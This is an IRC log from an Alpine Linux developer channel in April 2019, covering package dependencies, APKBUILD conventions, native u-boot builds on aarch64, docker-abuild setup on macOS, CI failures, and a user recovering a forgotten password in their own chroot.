2019-04-26 21:30:08 <north1> https://github.com/alpinelinux/aports/pull/7245 I have added librsvg to gdk-pixbuf depends and bumped pkgrel, took the liberty of fixing the license SPDX identifier
2019-04-26 21:30:19 <stwa> north1: sorry to ask, but does void run tests for packages?
2019-04-26 21:30:53 <north1> stwa: no, there is a check() and there is default functions for cmake, meson, make, perl, python2 and python3 tests but no tests are run by default
2019-04-26 21:31:01 <north1> people can run them by specifying -Q when calling ./xbps-src (think abuild for Void)
2019-04-26 21:31:09 <Cogitri> (and there are lots of broken ones due to that)
2019-04-26 21:31:25 <_ikke_> north1: ah, so gdk-pixbuf is missing the dep
2019-04-26 21:31:38 <north1> _ikke_: i assume yes for gdk-pixbuf-loader
2019-04-26 21:32:05 <_ikke_> Hmm, now it's involving main
2019-04-26 21:33:01 <stwa> north1: maybe ldd src/dunst-1.4.0/test/test gives hints
2019-04-26 21:35:38 <north1> CI for dunst will fail because changes to gdk-pixbuf that add librsvg won't be propagated for when dunst builds
2019-04-26 21:37:35 <stwa> north1: but that's what checkdepends is for
2019-04-26 21:38:19 <north1> but it is not dunst that needs it
2019-04-26 21:38:46 <Cogitri> stwa: That's not the problem, CI doesn't recognise cross repo bumps/changes
2019-04-26 21:39:14 <stwa> cross repo?
2019-04-26 21:39:34 <_ikke_> main / community / testing
2019-04-26 21:40:12 <stwa> i would say: don't touch gdk-pixbuf, it's an gtk+ image loader, let the user decide which images it supports by installing additional libraries (libpng, librsvg...)
2019-04-26 21:40:47 <stwa> therefore: dunst needs gdk-pixbuf, wich is fine, but the unit tests require gdk-pixbuf to support svg. that's why i would add librsvg as checkdepends
2019-04-26 21:41:04 <stwa> or am i still on the wrong path?
2019-04-26 21:41:28 <Cogitri> stwa: But SVG is becoming more common, it totally makes sense to add it to gdk-pixbuf
2019-04-26 21:41:46 <Cogitri> You won't have a good time running GTK+ applications without svg support
2019-04-26 21:42:51 <stwa> png is also common and we don't have libpng in gdk-pixbuf
2019-04-26 21:43:12 <north1> so:libpng16.so.16
2019-04-26 21:43:29 <north1> owned by libpng
2019-04-26 21:43:37 <stwa> north1: whoops, -r instead of -R
2019-04-26 21:44:32 <stwa> well, then, go ahead, you're right :D
2019-04-26 21:44:40 <north1> i'll ask the maintainer
2019-04-26 21:45:35 <north1> https://github.com/alpinelinux/aports/pull/7245/files#r279112864
2019-04-26 21:51:16 <_ikke_> I'm snoozing, night all
2019-04-26 21:51:30 <SpaceToast> \o
2019-04-26 21:52:33 <Cogitri> Night
2019-04-26 21:53:38 <stwa> night
2019-04-27 02:49:38 <north1> https://github.com/alpinelinux/aports/pull/7287
2019-04-27 02:51:51 <north1> drone-ci fails 3 tests but travis-ci passes all 33 tests, it passes with dabuild and when building against the host system.
2019-04-27 08:47:59 <_ikke_> clandmeter: ncopa is it okay if I add a label S-waiting-for-review? (which is different from S-review-required)?
2019-04-27 08:58:31 <tcely> _ikke_: Try this filter list ( is:pr -is:draft review:none is:open comments:0 )
2019-04-27 08:59:55 <_ikke_> Hmm, last time I combined -is:draft with is:open it showed PRs that were closed
2019-04-27 09:00:32 <_ikke_> `is:pr -is:draft review:none is:open comments:0 -label:R-main`
2019-04-27 09:01:54 <tcely> drop WIP PRs too. ( is:pr -is:draft review:none is:open comments:0 -label:R-main -label:S-WIP )
2019-04-27 09:02:11 <tcely> I see 21 currently, does that match up for you?
2019-04-27 09:05:51 <_ikke_> yes
2019-04-27 09:58:09 <Cogitri> So I'm making polkit-elogind, which is polkit but with elogind enabled. Should that `replace` or `provide` polkit?
2019-04-27 10:05:47 <mps> Cogitri: probably 'provide'
2019-04-27 10:06:16 <Cogitri> Alright :)
2019-04-27 10:06:53 <mps> replaces is typically for packages renamed
2019-04-27 10:08:00 <mps> in my view, provide is some kind 'conflict' tag
2019-04-27 10:08:55 <mps> if two packages provides 'same name' only one of them could be installed
2019-04-27 10:12:53 <Cogitri> Got it, thanks :)
2019-04-27 10:14:02 <mps> I learned a little about these 'tags' trying to make crystal in better shape
2019-04-27 10:15:44 <mps> and still didn't found acceptable solution
2019-04-27 10:16:24 <_ikke_> provide is not necessary conflcits
2019-04-27 10:16:26 <_ikke_> conflicts
2019-04-27 10:16:47 <_ikke_> it merely says a certain package fulfills the same role as another package
2019-04-27 10:17:03 <mps> _ikke_: yes, because that i put this word in quotes
2019-04-27 10:18:57 <mps> btw, anyone here with push access to main, mupdf and vim should be pushed to continue work on fixing them further. pathes are on patchwork.a.o
2019-04-27 10:52:06 <mps> Cogitri: I forgot to tell, if you want strict 'conflict' you can write it as 'depends="!pkgname"`
2019-04-27 10:52:45 <mps> not sure if this is a canonical but it works, ime
2019-04-27 10:57:55 <Cogitri> mps: Well, polkit and polkit-elogind are the same thing, just that polkit-elogind integrates with elogind (and is required for GNOME)
2019-04-27 11:00:17 <mps> so, they are alternatives, only one of them should be installed, iirc
2019-04-27 11:00:38 <mps> s/iirc/iiuc/
2019-04-27 11:00:38 <alpine-meetbot> mps meant to say: so, they are alternatives, only one of them should be installed, iiuc
2019-04-27 12:33:16 <SpaceToast> morning
2019-04-27 12:33:43 <SpaceToast> _ikke_: https://github.com/alpinelinux/aports/pull/6306 has put back the `cd "$builddir"` stuff, https://github.com/alpinelinux/aports/pull/6549 got rebased and passes CI
2019-04-27 13:48:30 <tmhoang> _ikke_ : you around ?
2019-04-27 13:48:37 <tmhoang> mps: you around ?
2019-04-27 13:49:47 <_ikke_> Now I am
2019-04-27 13:50:28 <tmhoang> _ikke_: say I have a chroot and I forgot my password. I can mount chroot and have access to that chroot /etc/passwd. How can I regenerate a new password for my user by updating that /etc/passwd in the chroot ?
2019-04-27 13:50:31 <_ikke_> SpaceToast: I cannot push to main, so someone else has to handle it.
2019-04-27 13:50:37 <SpaceToast> ah, alright
2019-04-27 13:50:38 <tmhoang> I know there's a trick to do it
2019-04-27 13:50:42 <SpaceToast> I'll wait for monday and poke ncopa then
2019-04-27 13:51:01 <_ikke_> tmhoang: just passwd?
2019-04-27 13:51:09 <_ikke_> If you are root in that chroot, you can just use passwd
2019-04-27 13:51:33 <_ikke_> or passwd <user> to change it for a different user
2019-04-27 13:51:42 <tmhoang> right. but thing is I cannot access the shell of the chroot (even I put correct shell path). so I'm still on the shell of the host
2019-04-27 13:51:55 <tmhoang> I only mount the rootfs, cannot chroot :(
2019-04-27 13:52:01 <tmhoang> strange
2019-04-27 13:52:31 <_ikke_> Then you could use something like pythons crypt module to generate a new hash
2019-04-27 13:52:43 <_ikke_> and update $chroot/etc/passwd directly
2019-04-27 13:52:51 <tmhoang> I remember the trick is, create a password and do some hash function and copy that hash into /rootfs/etc/passwd
2019-04-27 13:52:56 <tmhoang> yes yes
2019-04-27 13:52:59 <tmhoang> exactly
2019-04-27 13:53:03 <tmhoang> do you have a command at hand ?
2019-04-27 13:53:32 <_ikke_> yes, hold on
2019-04-27 13:53:33 <tmhoang> or even easier
2019-04-27 13:53:40 <tmhoang> let the user auto login
2019-04-27 13:53:49 <tmhoang> not sure if easier but lol
2019-04-27 13:53:50 <tmhoang> thanks
2019-04-27 13:55:23 <_ikke_> python -c 'import crypt, getpass; pwd = getpass.getpass("password: "); print(crypt.crypt(pwd, crypt.METHOD_SHA512))'
2019-04-27 13:55:25 <_ikke_> fyi
2019-04-27 13:55:47 <p4Wv1qn095FW> you can just copy your password which you know on the host from /etc/shadow into the chroot/etc/shadow
2019-04-27 13:56:26 <tmhoang> _ikke_, p4Wv1qn095FW : right ! shadow file
2019-04-27 13:56:28 <tmhoang> stupid me
2019-04-27 13:56:38 <tmhoang> thanks a lot
2019-04-27 13:56:38 <tmhoang> my man
2019-04-27 14:00:04 <mps> tmhoang: I'm here now
2019-04-27 14:00:16 <tmhoang> mps: thanks :D
2019-04-27 14:00:29 <tmhoang> shadow did the trick for me
2019-04-27 14:01:15 <mps> sorry, don't understand, thanks for what?
2019-04-27 14:11:27 <tmhoang> mps: no worries I just ping/annoy around anyone I knew was online today for help :D
2019-04-27 14:21:24 <mps> tmhoang: ok, np, I'm mostly online although not at keyboard/monitor :)
2019-04-27 15:18:18 <_ikke_> If you have two variants of a project (with separate apkbuilds), would a combination of provides="foo" with replaces="foo" make sense? provides="foo=<version>" would not really be feasible in that case because everytime foo is upgraded, that version in the other variant would need to be updates as well
2019-04-27 15:24:06 <Cogitri> Would be good to know for polkit-elogind
2019-04-27 15:25:27 <Cogitri> Seems like the colord APKBUILD forgot to create a colord user on pre-install. Will adding one now via pre-install work, or is that only run during fresh installs and not during upgrades?
2019-04-27 15:26:10 <mps> so, next version of polkit in alpine will depend on mozjs?
2019-04-27 15:27:24 <mps> for latest stable we didn't upgraded it just for this reason, i.e. to not add mozjs as dependency
2019-04-27 15:28:10 <mps> Cogitri: so we now have no choice, iiuc
2019-04-27 15:29:30 <Cogitri> mps: Yup, it depends on mozjs60 though with two really minor patches at least
2019-04-27 15:30:01 <Cogitri> So that's still supported at least
2019-04-27 15:30:43 <mps> ok, will look to add patches to slim to be built without consolekit and polkit, to have 'slim' DM
2019-04-27 15:31:10 <Cogitri> But I do question why they use a JS in such a security related thing though
2019-04-27 15:31:29 <Cogitri> (And the JS is just for the rules, which are written in JS)
2019-04-27 15:31:33 <mps> yes, that is what I can't understand
2019-04-27 15:32:11 <SpaceToast> I'd imagine it's because making DSLs is pretty weird and they wanted a well-known embedded language
2019-04-27 15:32:16 <SpaceToast> would you complain if they used lua?
2019-04-27 15:32:34 <Cogitri> That'd at least be a bit lighter
2019-04-27 15:33:03 <SpaceToast> sure, but it'd also have way fewer people that "already know" how to use it :)
2019-04-27 15:33:06 <Cogitri> Oh well, I guess I don't know Polkit rules well enough to judge if writing them in something like TOML would be feasible
2019-04-27 15:33:09 <SpaceToast> that's usually what it comes down to
2019-04-27 15:33:13 <mps> SpaceToast: well, we always trade 'something for something', but yes, lua will be saner
2019-04-27 15:33:37 <SpaceToast> mps: I do personally think lua is better than ecmascript in most ways, but the latter definitely has a lot more current users
2019-04-27 15:33:53 <SpaceToast> anyway, checked against slim in gentoo - looks like turning off consolekit is possible, but I can't see anything re: polkit
2019-04-27 15:34:05 <SpaceToast> but I'd also like to remind everyone that slim hasn't officially been updated since 2014
2019-04-27 15:34:35 <mps> true, but trade security risks for 'more user understand JS' is not sane, imo
2019-04-27 15:35:07 <mps> consolekit depends on polkit
2019-04-27 15:35:10 <SpaceToast> well the other aspect is that the issue isn't with js itself, most of the time
2019-04-27 15:35:30 <SpaceToast> i.e most cases of browser insecurities are a result of the library being plugged into the engine
2019-04-27 15:35:34 <mps> I rebuilt slim without consolekit and it works fine
2019-04-27 15:35:49 <SpaceToast> e.g cross site scripting has nothing to do with the syntax ^^
2019-04-27 15:37:02 <mps> again true, but XSS and system software are in different domains
2019-04-27 15:37:42 <SpaceToast> and the libraries being plugged into the embedded language are different too :)
2019-04-27 15:37:54 <SpaceToast> I might say that system software is a different domain from video games too
2019-04-27 15:38:23 <SpaceToast> basically, I don't recall there being any vulnerabilities within mozjs specifically, so I wouldn't call using it an explicit security vulnerability, any more than using lua (though lua is preferable, imo)
2019-04-27 15:38:52 <SpaceToast> so polkit is pulled in by ckit which can be turned off?
2019-04-27 15:39:00 <mps> ofc, but imo system software should be built from ground with security in mind
2019-04-27 15:39:33 <mps> SpaceToast: yes, polkit is pulled by ck
2019-04-27 15:39:56 <SpaceToast> ok, so looks like we can avoid it :)
2019-04-27 15:40:06 <mps> maybe also something else in heavy DM's
2019-04-27 15:40:18 <SpaceToast> building a new language is inherently less secure than using something that's known to be fine
2019-04-27 15:40:21 <mps> sure, I did for months
2019-04-27 15:40:25 <SpaceToast> and building DSLs in general is hard
2019-04-27 15:42:06 <mps> all DSL's is strange to me, but who cares :)
2019-04-27 15:42:37 <Cogitri> SpaceToast: CVE database tells me that mozjs does have a few vulns here and there
2019-04-27 15:43:06 <Cogitri> Hopefully that'll get better once it's switched over to Rust
2019-04-27 15:43:45 <SpaceToast> I'd like you to show me any language that's not had any vulns :)
2019-04-27 15:44:02 <SpaceToast> (in fact, that's the very reason that building a new one is a pretty terrible idea)
2019-04-27 15:44:37 <SpaceToast> anyway, as mentioned, I would prefer lua; I just don't think saying the very use of mozjs is an inherent security vulnerability / compromise is reasonable.
2019-04-27 15:44:55 <mps> SpaceToast: agree
2019-04-27 15:46:34 <mps> (moaning why forth disapeared from free/open source radar)
2019-04-27 16:31:36 <doggone_> Hi, I'm a long time Alpine user and would like to make a small comment on what I'm seeing in the mailing list. It seems things are getting heated, so it might be a good moment to take a breath and re-evaluate. When the going gets tough it's usually a better idea to talk verbally rather than through writing. Don't forget that it's a lovely project.
2019-04-27 16:42:44 <_ikke_> doggone_: thanks, apprecated
2019-04-27 16:43:28 <_ikke_> there have been conversations in the background to talk things through
2019-04-27 16:44:58 <doggone_> I noticed :) I would hate to see a big drama ensue.
2019-04-27 17:54:41 <otlabs> hi ppl
2019-04-27 17:54:53 <north1> hi
2019-04-27 17:55:23 <otlabs> andypost[m] _ikke_ : thanks for taking care of my PR!
2019-04-27 17:55:31 <otlabs> north1: greetings!
2019-04-27 17:56:27 <mps> otlabs: hi, did you solved building u-boot
2019-04-27 17:56:43 <Cogitri> Hello, otlabs
2019-04-27 17:56:48 <otlabs> mps: not yet
2019-04-27 17:56:54 <otlabs> Cogitri: yo!
2019-04-27 17:57:17 <mps> what's the issue? I'm also building it on debian for aarch64
2019-04-27 17:57:22 <otlabs> mps: i plan to enable my nanopi fire3 for development and try a native compile on it
2019-04-27 17:57:50 <otlabs> mps: please give me a minute so i will give you a link to my build log
2019-04-27 17:57:56 <mps> I'm surprised that it doesn't work for you on debian
2019-04-27 17:58:06 <mps> ok, np
2019-04-27 17:58:41 <otlabs> it works just fine on debian
2019-04-27 17:58:53 <otlabs> i am unable to get it compiling on aarch64
2019-04-27 17:59:00 <mps> ah, so
2019-04-27 17:59:02 <otlabs> cross-compile works fine
2019-04-27 17:59:07 <otlabs> native compile fails
2019-04-27 17:59:23 <otlabs> or i have misconfigured the build
2019-04-27 18:00:05 <otlabs> i have nanopi fire3 aarch64 8-core board and i want to run Alpine Linux on it
2019-04-27 18:00:10 <mps> hm, few weeks ago I posted patch to build qemu-u-boot aarch64 for Alpine and tested it in lxc on alpine
2019-04-27 18:00:45 <otlabs> the CPU is Samsung Nexcell S5P6818
2019-04-27 18:00:51 <mps> it worked for qemu so should work for other 'boards'
2019-04-27 18:00:59 <otlabs> and there is no upstream support for it in u-boot
2019-04-27 18:01:06 <mps> I remember, you posted me url
2019-04-27 18:01:56 <otlabs> there are some sources from Samsung for some other boars - SamsungARTIK
2019-04-27 18:02:27 <mps> if you u-boot tarball with which you work, you can give me url and I will try on my aarch64 box
2019-04-27 18:02:40 <otlabs> based on this sources was added suport for S5P6818, https://github.com/rafaello7/u-boot-nanopi-m3
2019-04-27 18:03:09 <otlabs> here it goes: https://github.com/rafaello7/u-boot-nanopi-m3/archive/v1.2.tar.gz
2019-04-27 18:03:27 <mps> what is defconfig name
2019-04-27 18:03:37 <otlabs> build instructions are here: https://github.com/rafaello7/u-boot-nanopi-m3/blob/master/README.md
2019-04-27 18:03:51 <otlabs> nanopim3_defconfig
2019-04-27 18:04:48 <mps> huh, two years ago added and still not in upstream u-boot
2019-04-27 18:05:02 <mps> will try to build it later
2019-04-27 18:05:14 <otlabs> thank you
2019-04-27 18:05:31 <otlabs> i think there was no any effort to add it to upstream
2019-04-27 18:06:00 <otlabs> so with your instructions i can simulate native build on aarch64?
2019-04-27 18:06:12 <otlabs> i have a bookmark for your manual
2019-04-27 18:06:22 <otlabs> need to implement it
2019-04-27 18:06:38 <mps> ah, cdefs. ./tools/fip_create/uuid.h:37:10: fatal error: sys/cdefs.h: No such file or directory
2019-04-27 18:07:27 <otlabs> makedepends="$depends_dev bsd-compat-headers openssl-dev"
2019-04-27 18:07:41 <otlabs> pr7195
2019-04-27 18:10:00 <mps> build it
2019-04-27 18:10:07 <otlabs> wow
2019-04-27 18:10:23 <mps> install 'sudo apk add libbsd-dev'
2019-04-27 18:10:48 <mps> then 'sudo vi /usr/include/sys/cdefs.h'
2019-04-27 18:11:13 <mps> comment out first line or delete it, and save it
2019-04-27 18:11:36 <mps> 'make nanopim3_defconfig' then 'make'
2019-04-27 18:11:58 <otlabs> wow
2019-04-27 18:12:02 <otlabs> i used make HOSTCFLAGS='-Wno-error=cpp'
2019-04-27 18:12:06 <mps> rest is on you, i.e. to check if it works
2019-04-27 18:12:27 <otlabs> to overcome the warning from header file
2019-04-27 18:13:24 <mps> make decides that this warning is actually error and refuse to build
2019-04-27 18:14:50 <otlabs> thanks a lot! that gives me a hope i can do that!
2019-04-27 18:15:42 <mps> you're welcome
2019-04-27 18:16:16 <otlabs> changing a topic a bit
2019-04-27 18:16:45 <otlabs> anyboy doing Alpine Linux development on a MacBook? or any macOS based device?
2019-04-27 18:17:19 <otlabs> i might get a macbook so i am wondering how to adopt it for development
2019-04-27 18:18:45 <Cogitri> I suppose it should work just fine via docker-abuild
2019-04-27 18:18:51 <mps> 
ACTION dislike mac-everything

2019-04-27 18:19:24 <otlabs> mps: i am _very_ limited on hardware i can choose to use so need to adopt
2019-04-27 18:19:25 <Cogitri> I dislike MacOS, but the the MacBook's touchpad is sooooo good
2019-04-27 18:19:55 <otlabs> Cogitri: docker-abuild will give me a text only environment?
2019-04-27 18:20:06 <otlabs> that would be fine
2019-04-27 18:20:11 <mps> my chromebook's touchpad's are also very good
2019-04-27 18:20:24 <otlabs> but i prefere to have a possibility to copy-paste from web browser
2019-04-27 18:20:56 <mps> and, touchscreen with pen is really nice
2019-04-27 18:21:29 <Cogitri> otlabs: What else should it provide? It's just abuild  that rund in Docker, it's neat
2019-04-27 18:21:36 <mps> for similar macbook I will pay double price
2019-04-27 18:22:46 <Cogitri> mps: Hum, my HP Specte X360's touchscreen is nice and the touchpad is OK
2019-04-27 18:22:58 <Cogitri> But I've used a MacBook once and it was sooo good
2019-04-27 18:23:28 <otlabs> Cogitri: would it be possible to copy-paste from web browser?
2019-04-27 18:24:39 <SpaceToast> there seem to be some rather massive misunderstandings going on right now
2019-04-27 18:25:22 <SpaceToast> otlabs: docker-abuild is a docker recipe to build alpine packages inside of docker; docker runs jut fine on MacOS - as such MacOS will continue to "provide" the graphical environment
2019-04-27 18:25:42 <SpaceToast> similarly, this raises the question: what exactly are you expecting to paste?
2019-04-27 18:25:49 <Cogitri> otlabs: Uh?
2019-04-27 18:25:55 <SpaceToast> were you perhaps asking if you could run linux on the originally MacOS hardware?
2019-04-27 18:26:27 <otlabs> no, i do not plan to run linux nativly on mac hardware
2019-04-27 18:26:38 <otlabs> i would like to run docker
2019-04-27 18:26:56 <otlabs> and i would like to use web broser to check comments on github
2019-04-27 18:27:06 <SpaceToast> sure, doesn't MacOS come with a web browser?
2019-04-27 18:27:17 <SpaceToast> do you expect it to stop being available for some reason?
2019-04-27 18:27:20 <otlabs> and i would like to copy-paste some text from browser to APKBUILD file
2019-04-27 18:27:30 <SpaceToast> can you not copy paste into a terminal emulator?
2019-04-27 18:27:42 <SpaceToast> (regardless of what it's running)
2019-04-27 18:27:46 <otlabs> hahaha
2019-04-27 18:27:49 <otlabs> i got the point
2019-04-27 18:27:57 <otlabs> i am not a macOS user
2019-04-27 18:28:00 <SpaceToast> you see why there's quite a bit of confusion, right?
2019-04-27 18:28:08 <otlabs> i have no idea how it works
2019-04-27 18:28:36 <otlabs> but from you questions i can figure out that i will achieve all i want!
2019-04-27 18:28:48 <SpaceToast> it's windows but technically unix and made by apple.
2019-04-27 18:29:20 <otlabs> i thought that docker on macOS is something special, but it is an ordinary terminal
2019-04-27 18:29:28 <SpaceToast> docker is a container system
2019-04-27 18:29:33 <SpaceToast> it is not a terminal emulator.
2019-04-27 18:29:39 <otlabs> so all copy-paste operations will work just fine
2019-04-27 18:29:42 <SpaceToast> the terminal emulator commonly used on MacOS is iterm2.
2019-04-27 18:30:06 <otlabs> yes, container manager
2019-04-27 18:30:15 <otlabs> with interface as a ordinary terminal
2019-04-27 18:30:29 <SpaceToast> no?
2019-04-27 18:30:46 <SpaceToast> I don't understand what you believe docker to be like
2019-04-27 18:30:58 <SpaceToast> I would recommend running it a bit on your current system to get the hang of it first
2019-04-27 18:31:08 <_ikke_> My rant: docker is not a virtual machine
2019-04-27 18:31:16 <otlabs> please, do not worry about that! i already got an answer!
2019-04-27 18:31:21 <_ikke_> Though on windows you need a virtual environment to be able to run it
2019-04-27 18:31:26 <SpaceToast> _ikke_: docker isn't, lxc/lxd is a lot closer to that though :D
2019-04-27 18:31:31 <_ikke_> But still isn't
2019-04-27 18:31:42 <SpaceToast> no, it's a lot lighter than it, but does share a kernel :)
2019-04-27 18:31:53 <_ikke_> s/but/and/
2019-04-27 18:32:20 <SpaceToast> well being lighter is desirable, as opposed to sharing a kernel (in some cases)
2019-04-27 18:32:50 <_ikke_> ah, like that, yes
2019-04-27 18:33:39 <_ikke_> You just run a process on the host.
2019-04-27 18:33:53 <SpaceToast> roughly, it just has a different namespace for everythin
2019-04-27 18:33:58 <_ikke_> Indeed
2019-04-27 18:34:04 <SpaceToast> which is pretty close to virtualization, just on a different layer
2019-04-27 18:34:30 <SpaceToast> virtualization also runs on the host, just you run an emulated piece of hardware on the host, instead of the process
2019-04-27 18:34:59 <_ikke_> The isolation happens much more on hardware level
2019-04-27 18:35:14 <SpaceToast> well it depends on the specifics
2019-04-27 18:35:21 <SpaceToast> also, I'd personally rather trust linux than intel
2019-04-27 18:35:45 <SpaceToast> the fact that it technically runs on the host could also be seen as an advantage - it means you can monitor and limit children much more efficiently
2019-04-27 18:37:37 <_ikke_> By default everything is oversubscribed
2019-04-27 18:37:42 <SpaceToast> anyway if you wanna continue it should probably happen in -offtopic ^^
2019-04-27 18:39:46 <otlabs> mps: do you have a chance to take a look at my build log at Travis CI?
2019-04-27 18:40:49 <mps> if you give me url, then yes
2019-04-27 18:41:23 <otlabs> https://cloud.drone.io/alpinelinux/aports/2220/3/1
2019-04-27 18:41:27 <otlabs> thank you
2019-04-27 18:41:56 <otlabs> i use `make nanopim3_defconfig; make HOSTCFLAGS='-Wno-error=cpp'`
2019-04-27 18:43:51 <mps> I see, it will not work this way
2019-04-27 18:44:12 <mps> you didn't changed sys/cdefs.h
2019-04-27 18:52:05 <otlabs> i have no idea hot to change it from abuild environment
2019-04-27 18:52:28 <otlabs> i was expecting to overcome that with HOSTCFLAGS making warnings to be ignored
2019-04-27 18:53:48 <mps> maybe to patch u-boot makefile
2019-04-27 19:02:27 <otlabs> i thought that i need to remove the first line from included header
2019-04-27 19:02:52 <otlabs> how should i change u-boot makefile?
2019-04-27 19:03:06 <otlabs> i can do that, but what to change in it?
2019-04-27 19:08:05 <mps> no, I wrote "then 'sudo vi /usr/include/sys/cdefs.h'"
2019-04-27 19:08:21 <mps> and "comment out first line or delete it, and save it"
2019-04-27 19:08:58 <mps> why do you trying to build apk before you test if it works
2019-04-27 19:09:28 <mps> easier will be to do this things manually
2019-04-27 19:18:21 <otlabs> as i want to build a package and it should build on builder machine
2019-04-27 19:18:35 <otlabs> ok, i will test it with quemu first!
2019-04-27 19:19:45 <mps> ah, you don't have aarch64 installed?
2019-04-27 19:28:24 <north1> How are soname bump rebuilds done on Alpine ?
2019-04-27 19:31:37 <mps> north1: for pkg's which depends on bumped soname?
2019-04-27 19:32:09 <north1> yes
2019-04-27 19:32:38 <mps> increment pkgrel for pkg's
2019-04-27 19:32:56 <north1> yes, but do that in the same PR  as different commits ?
2019-04-27 19:33:41 <mps> yes, same PR but with more commits
2019-04-27 19:33:59 <north1> ok thanks
2019-04-27 19:34:06 <mps> or different PR, if that make sense
2019-04-27 19:34:48 <mps> no strict rules, nice thing about Alpine development. do what is appropriate and works best
2019-04-27 19:35:14 <north1> I see, similar to Void then
2019-04-27 19:36:03 <mps> technical rules must exists, ofc.
2019-04-27 19:37:42 <mps> I didn't worked with github so don't have experience with PR's, but patchwork.a.o have 'bundle' option where commits (patches) can be bundled
2019-04-27 19:38:10 <north1> github works with branches so have as many commits as you want and make a PR against a branch
2019-04-27 19:38:22 <north1> i only use GitHub since that is what i used on Void and i have everything comfortably set up.
2019-04-27 19:39:27 <mps> well, to be fair, all this depends on commiter's point of view, at the end :)
2019-04-27 19:40:04 <mps> by commiter I mean people with push access to repo
2019-04-27 19:40:48 <north1> yes, github calls people that wrote commits author and people that push to the repo commiter
2019-04-27 19:45:20 <SpaceToast> north1: from what I've seen, it's preferable to have all related changes in a single PR
2019-04-27 19:45:37 <SpaceToast> in this case I think you'd have one commit for the bump and one commit for all the pkgrel bumps, but I'm not sure if there's a specific rule
2019-04-27 19:46:56 <north1> i see
2019-04-27 19:48:07 <otlabs> mps: not yet
2019-04-27 19:50:02 <otlabs> ok, i got docker, i have cloned alpinelinux/aports and mor1/docker-abuild. what follows next?
2019-04-27 19:50:46 <mps> otlabs: few weeks ago I wrote guide and script to install alpine aarch64 under qemu on x86_64
2019-04-27 19:51:07 <Cogitri> run `make TAGS=edge` (or use 3.9 if you want that)
2019-04-27 19:51:25 <Cogitri> Then copy the resulting $(pwd)/abuile into your PATH
2019-04-27 19:52:55 <otlabs> from mor1/docker-abuild i assume, right?
2019-04-27 19:53:29 <north1> yes
2019-04-27 19:53:35 <otlabs> ok, thanks
2019-04-27 19:55:10 <otlabs> got dabuild successfully built
2019-04-27 19:57:55 <otlabs> should i add it ot PATH? and later jump to my aports dir and run it from there?
2019-04-27 19:58:04 <otlabs> s/ot/to/
2019-04-27 19:58:04 <alpine-meetbot> otlabs meant to say: should i add it to PATH? and later jump to my aports dir and run it from there?
2019-04-27 19:58:41 <north1> yes
2019-04-27 19:58:47 <north1> my abuild is in ~/bin
2019-04-27 19:59:23 <otlabs> thank you!
2019-04-27 19:59:59 <otlabs> i have dabuild (starting with D), is it correct?
2019-04-27 20:00:12 <north1> you can have it as abuild
2019-04-27 20:00:22 <north1> it will start a docker container with an alpine image and run abuild from there
2019-04-27 20:01:07 <otlabs> cool! thanks a lot for this intro!
2019-04-27 20:05:53 <_ikke_> each package should have it's own commit if you are updating multiple packages at the same time
2019-04-27 20:07:33 <otlabs> wow! its working!
2019-04-27 20:11:58 <Cogitri> Nice
2019-04-27 20:14:04 <otlabs> thank you all!
2019-04-27 20:42:29 <otlabs> i use docker-abuild, i `cd aports/testing/zimwritefs/; ~/bin/abuild -r` and get error that abuild is unable to install 2 build dependencies, and that there are no any APKINDEX.tar.gz in /home/builder/packages
2019-04-27 20:44:31 <otlabs> s/zimwritefs/zimwriterfs/
2019-04-27 20:44:31 <alpine-meetbot> otlabs meant to say: i use docker-abuild, i `cd aports/testing/zimwriterfs/; ~/bin/abuild -r` and get error that abuild is unable to install 2 build dependencies, and that there are no any APKINDEX.tar.gz in /home/builder/packages
2019-04-27 20:54:52 <Cogitri> <alpine-meetbot "otlabs meant to say: i use docke"> otlabs: FWIW, I added some more volumes to pass through: http://ix.io/1Hi5
2019-04-27 20:55:13 <Cogitri> (/packages is nonstandard)
2019-04-27 20:55:30 <otlabs> thanks!
2019-04-27 20:56:14 <north1> http://ix.io/1Hon i also made some changes, adding some volumes and make unpack and checksum commands not start a docker container
2019-04-27 20:56:59 <otlabs> wow! thanks again!
2019-04-27 21:41:42 <kr0k0> Hi guys
2019-04-27 21:41:53 <north1> hi
2019-04-27 21:42:15 <kr0k0> Is it possible to restart a CI build?
2019-04-27 21:42:33 <north1> by asking someone with access to the repo or force pushing a rebased branch
2019-04-27 21:43:39 <kr0k0> Ok
2019-04-27 21:44:06 <kr0k0> I had "curl: (16) Error in the HTTP2 framing layer"
2019-04-27 21:44:27 <north1> That happens sometimes, just rebase your branch against upstream/master and force-push
2019-04-27 21:44:34 <kr0k0> And this isn't the first time -.-
2019-04-27 21:45:48 <north1> yes it happens sometimes
2019-04-27 21:46:18 <kr0k0> Ok, thanks!
2019-04-27 21:46:59 <kr0k0> Seems so, that abuild does it try only once...
2019-04-27 21:47:06 <north1> welcome
2019-04-27 23:00:38 <tcely> north1: please don't assume host system has abuild. Using docker abuild when not running Alpine is a very good feature.
2019-04-27 23:01:30 <north1> tcely: I can assume because those are my personal modifications
2019-04-27 23:01:39 <north1> i have no plans to share to someone else besides "look at this, this can help"
2019-04-28 01:13:35 <north1> Is there any reason to keep gradm (administrative utility for grsecurity kernels) since grsec is no more ?
2019-04-28 03:30:32 <clandmeter> north1: yes, it could be that somebody still uses it outside alpine scope.
2019-04-28 03:30:55 <north1> clandmeter: ok
2019-04-28 03:31:59 <clandmeter> not everything happens in front of us, so we try to be compatible as much as possible without adding too much bloat.
2019-04-28 08:05:04 <kr0k0> Hi all
2019-04-28 08:05:20 <north1> hi
2019-04-28 08:05:25 <kr0k0> pr7163 is now fixed
2019-04-28 08:05:37 <kr0k0> north1: Hi
2019-04-28 08:05:55 <kr0k0> But CI build again failed to download source
2019-04-28 08:07:03 <kr0k0> travis-ci
2019-04-28 08:07:12 <kr0k0> Drone-ci builds passed
2019-04-28 13:05:48 <tcely> Did anyone else notice that [ -w /path ] is not working with /bin/sh ?
2019-04-28 13:22:42 <SpaceToast> tcely: seems fine to me
2019-04-28 13:32:13 <tcely> mkdir -p /run/sh-write-test && cd /run/sh-write-test && : >> f && chmod -v 00555 . f && ! [ -w "$PWD/f" ] && echo no file write && ! [ -w "$PWD" ] && echo no dir write || echo failed
2019-04-28 13:32:24 <tcely> I'm getting failed instead of the no write I'm expecting
2019-04-28 13:35:05 <SpaceToast> yeah, because you likely don't have permission to write into /run :P
2019-04-28 13:35:34 <SpaceToast> try changing /run to /tmp, I get "no file write; no dir write"
2019-04-28 13:36:33 <SpaceToast> also having the ! be outside of the [] is weird
2019-04-28 13:36:42 <SpaceToast> ! EXPRESSION is a part of test(1p), use it
